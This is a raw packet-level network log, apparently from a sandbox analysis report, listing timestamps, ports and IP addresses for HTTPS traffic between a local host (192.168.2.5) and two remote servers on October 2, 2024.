Oct 2, 2024 06:10:16.369436979 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.369450092 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.369473934 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.369493961 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.370071888 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.370086908 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.370137930 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.370156050 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.370177984 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.370208979 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.374501944 CEST	49716	443	192.168.2.5	20.12.23.50
Oct 2, 2024 06:10:16.374548912 CEST	443	49716	20.12.23.50	192.168.2.5
Oct 2, 2024 06:10:16.374619961 CEST	49716	443	192.168.2.5	20.12.23.50
Oct 2, 2024 06:10:16.375678062 CEST	49716	443	192.168.2.5	20.12.23.50
Oct 2, 2024 06:10:16.375690937 CEST	443	49716	20.12.23.50	192.168.2.5
Oct 2, 2024 06:10:16.380064011 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.380079031 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.380146980 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.380178928 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.380203962 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.380220890 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.380506039 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.380522966 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.380563974 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.380575895 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.380601883 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.380626917 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.388362885 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.388377905 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.388423920 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.388437033 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.388463020 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.388479948 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.455995083 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.456012964 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.456115007 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.456141949 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.456197977 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.456275940 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.456293106 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.456341982 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.456357002 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.456406116 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.456994057 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.457009077 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.457058907 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.457072020 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.457123041 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.457923889 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.457938910 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.457983971 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.458019972 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.458045959 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.458066940 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.458472967 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.458488941 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.458544016 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.458555937 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.458583117 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.458616972 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.459057093 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.468497038 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.468512058 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.468616009 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.468632936 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.468687057 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.468966007 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.468980074 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.469024897 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.469037056 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.469062090 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.469088078 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.477051973 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.477066994 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.477129936 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.477144957 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.477193117 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.477193117 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.544742107 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.544763088 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.544842958 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.544862032 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.544888020 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.544908047 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.545074940 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.545098066 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.545154095 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.545183897 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.545241117 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.545680046 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.545695066 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.545759916 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.545773983 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.545830011 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.546768904 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.546787024 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.546847105 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.546860933 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.546907902 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.547259092 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.547286987 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.547333002 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.547360897 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.547415972 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.547416925 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.557348013 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.557363987 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.557440996 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.557457924 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.557507992 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.557701111 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.557717085 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.557770967 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.557782888 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.557807922 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.557826042 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.565691948 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.565711975 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.565788031 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.565802097 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.565828085 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.565854073 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.633255959 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.633295059 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.633342981 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.633358955 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.633395910 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.633414030 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.633646965 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.633668900 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.633714914 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.633725882 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.633753061 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.633773088 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.634215117 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.634237051 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.634404898 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.634418011 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.634474039 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.635257959 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.635276079 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.635354042 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.635368109 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.635416985 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.635623932 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.635639906 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.635700941 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.635714054 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.635777950 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.645812988 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.645849943 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.645935059 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.645957947 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.645982981 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.646003962 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.646279097 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.646295071 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.646356106 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.646368980 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.646430969 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.654241085 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.654258013 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.654335976 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.654350042 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.654462099 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.721796036 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.721821070 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.721942902 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.721957922 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.722003937 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.722079992 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.722096920 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.722146034 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.722153902 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.722196102 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.722661972 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.722677946 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.722734928 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.722742081 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.722784042 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.723778963 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.723800898 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.723850965 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.723858118 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.723890066 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.723913908 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.724176884 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.724191904 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.724251986 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.724260092 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.724299908 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.734407902 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.734422922 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.734530926 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.734544992 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.734601974 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.734774113 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.734790087 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.734848976 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.734862089 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.734913111 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.742822886 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.742839098 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.742916107 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.742930889 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.742978096 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.810218096 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.810250044 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.810373068 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.810383081 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.810434103 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.810528040 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.810545921 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.810583115 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.810589075 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.810602903 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.810631990 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.811209917 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.811224937 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.811268091 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.811275005 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.811302900 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.811322927 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.812393904 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.812412024 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.812467098 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.812475920 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.812498093 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.812521935 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.812980890 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.812999010 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.813062906 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.813070059 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.813096046 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.813112020 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.823033094 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.823050022 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.823106050 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.823115110 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.823154926 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.823690891 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.823705912 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.823760986 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.823767900 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.823807955 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.831281900 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.831302881 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.831507921 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.831513882 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.831562996 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.898745060 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.898766041 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.898838997 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.898852110 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.898890018 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.898998976 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.899013996 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.899058104 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.899064064 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.899091959 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.899099112 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.899933100 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.899950027 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.900001049 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.900021076 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.900042057 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.900063992 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.901024103 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.901040077 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.901082993 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.901088953 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.901123047 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.901130915 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.901278973 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.901294947 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.901348114 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.901355982 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.901398897 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.911535025 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.911550999 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.911611080 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.911617994 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.911670923 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.911670923 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.912323952 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.912347078 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.912398100 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.912410975 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.912451982 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.919905901 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.919920921 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.919982910 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.919991016 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.920021057 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.920037031 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.975205898 CEST	443	49716	20.12.23.50	192.168.2.5
Oct 2, 2024 06:10:16.975316048 CEST	49716	443	192.168.2.5	20.12.23.50
Oct 2, 2024 06:10:16.977294922 CEST	49716	443	192.168.2.5	20.12.23.50
Oct 2, 2024 06:10:16.977303028 CEST	443	49716	20.12.23.50	192.168.2.5
Oct 2, 2024 06:10:16.977628946 CEST	443	49716	20.12.23.50	192.168.2.5
Oct 2, 2024 06:10:16.987224102 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.987241030 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.987315893 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.987327099 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.987401009 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.987541914 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.987562895 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.987595081 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.987607002 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.987626076 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.987643957 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.988298893 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.988316059 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.988349915 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.988357067 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.988385916 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.988406897 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.989532948 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.989547968 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.989589930 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.989597082 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.989620924 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.989640951 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.990739107 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.990768909 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.990798950 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.990804911 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.990833998 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.990842104 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.000073910 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.000089884 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.000185966 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.000200033 CEST	443	49715	167.114.14.168	192.168.2.5
